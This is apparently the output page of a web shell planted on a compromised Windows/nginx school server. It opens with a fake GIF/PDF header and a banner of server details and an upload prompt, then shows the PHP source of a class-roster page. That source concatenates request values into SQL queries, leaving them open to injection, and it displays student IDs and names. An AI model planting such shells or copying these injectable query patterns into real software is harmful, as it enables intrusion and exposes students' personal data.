GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/Class/ |
Upload File : |
<? // common/Class/ClassRoster.phpinc debugTrackBegin(); $d_O_ClassRoster = d_O(); #if ( $_SESSION['userId'] == 1 ) d_On(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; } #echo "\$f_classId=",$f_classId,"<br>\n"; #d_Var('$requestURI',$requestURI); #d_Var('$f_classId',$f_classId); if (!isset($f_classId)) { $f_classId = formValue('classId'); #d_Var('$f_classId',$f_classId); if ($f_classId == '') { $query = " SELECT class.classId FROM class INNER JOIN course ON course.courseId = class.courseId WHERE class.YRTR = '".$_SESSION['YRTR']['User']."' AND course.courseNumber = '".$courseNumber."' "; d_Var('classIdResult',$query,'q'); $classIdResult = query_do($query); $classIdCount = $_SESSION['qry']['count']; d_Var('$classIdResult',$classIdResult); #d_Var('$classIdCount',$classIdCount); $f_classId = query_to_list($classIdResult); } } if ( !isset($orderBy) || $orderBy == '' ) $orderBy = "classstudent.userLastName, classstudent.userFirstName, classstudent.userStudentId"; // Get the class roster. $query = " SELECT classstudent.classId, classstudent.userStudentId, classstudent.userFirstName, classstudent.userMiddleName, classstudent.userLastName, user.userId, user.userUsername, user.userStudentId AS useruserStudentId, user.userFirstName AS useruserFirstName, user.userFirstName AS useruserMiddleName, user.userLastName AS useruserLastName, user.userNickname, user.userEmail, user.userAccessTime, class.classSection FROM `classstudent` LEFT JOIN `class` ON class.classId = classstudent.classId LEFT JOIN `course` ON course.courseId = class.courseId LEFT JOIN `user` ON user.userStudentId = classstudent.userStudentId WHERE classstudent.classId IN (".$f_classId.") AND classstudent.classstudentInactive = 0 ORDER BY ".$orderBy." "; d_Var('classRosterResult',$query,'q'); $classRosterResult = query_do($query); $classRosterCount = $_SESSION['qry']['count']; d_Var('$classRosterResult',$classRosterResult); if ($classRosterCount != 1) { $classRosterCountText = $classRosterCount." students"; } else { $classRosterCountText = $classRosterCount." student"; } // Add the student name to the result. ?> <fieldset><legend>Class Roster <span class="smaller">(<?=$classRosterCountText?>)</span></legend> <? if ($classRosterCount) { $studentsPerColumn = (int) ($classRosterCount/4+.99); //echo $studentsPerColumn."<br>\n"; ?> <table cellpadding="0" cellspacing="0"><tr> <? mysqli_data_seek($classRosterResult, 0); $studentsThisColumn = 0; while ($classRosterRow = mysqli_fetch_assoc($classRosterResult)) { $classRosterRow['Name'] = userName($classRosterRow['userId'],false,true); if ( !$classRosterRow['Name'] ) { if ( $classRosterRow['useruserFirstName'] ) { $classRosterRow['Name'] = 'u '.trim(stripslashes($classRosterRow['useruserFirstName']).' '.stripslashes($classRosterRow['useruserLastName'])); } else { $classRosterRow['Name'] = 'c '.trim(stripslashes($classRosterRow['userFirstName']).' '.stripslashes($classRosterRow['userLastName'])); } } if ($classRosterRow['userStudentId'] == $classRosterRow['useruserStudentId']) { // User has logged in. if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $status = "Current"; } else { if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 90) { // User has logged in within the last three months. $status = "Recent"; } else { // User has not logged in within the last three months. $status = "Older"; } } $dateText = substr($classRosterRow['userAccessTime'],2,8); } else { // User has never logged in. $status = "Never"; $dateText = 'n/a'; } #$dateText = '<span class="normal">('.$dateText.')</span>'; if ($studentsThisColumn == 0) { ?> <td style="padding-right:10px;"> <? } //if ( $classRosterRow['userFirstName'] == '' ) $classRosterRow['userFirstName'] = $classRosterRow['useruserFirstName']; ?> <span class="normal user<?=$status?>" title="<?=$classRosterRow['Name']?> lastLogin=<?=$dateText?> userId=<?=$classRosterRow['userId']?>"><?=$classRosterRow['userStudentId']?> <?=$classRosterRow['Name']?></span> <br> <? $studentsThisColumn++; if ($studentsThisColumn == $studentsPerColumn) { $studentsThisColumn = 0; ?> </td> <? } } if ($studentsThisColumn != 0) { ?> </td> <? } ?> </tr></table> Student Login status: <span class="userCurrent">Green = < 2 weeks,</span> <span class="userRecent">Blue = < 3 months,</span> <span class="userOlder">Orange = > 3 months,</span> <span class="userNever">Red = Never logged in</span>. <? if (listLen($f_classId) == 1) { ?> <form name="form_classlistupdate" action="/Admin/Class/" method="post" style="display:inline; margin-left:10px;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_classlistupdate"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <input name="f_classSection" type="hidden" value="<?=$f_classSection?>"> <input name="f_RCclassId" type="hidden" value="<?=$f_RCclassId?>"> <input name="f_task" type="hidden" value="Class Roster"> <input type="submit" name="f_subtask" value="Update" class="small50"> <!--<input type="submit" name="f_subtask" value="Import" class="small50">--> </form> class roster. <? } } else { ?> The class roster is empty.<br> <? if (listLen($f_classId) == 1) { ?> <form name="form_classlistenter" action="/Admin/Class/" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_classlistenter"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <input name="f_classSection" type="hidden" value="<?=$f_classSection?>"> <input name="f_RCclassId" type="hidden" value="<?=$f_RCclassId?>"> <input name="f_task" type="hidden" value="Class Roster"> <input type="submit" name="f_subtask" value="Enter" class="small50"> <!--<input type="submit" name="f_subtask" value="Import" class="small50">--> </form> class roster. <? } } ?> </fieldset> <? if ( !$d_O_ClassRoster && d_O() ) d_Off(); debugTrackEnd(); ?>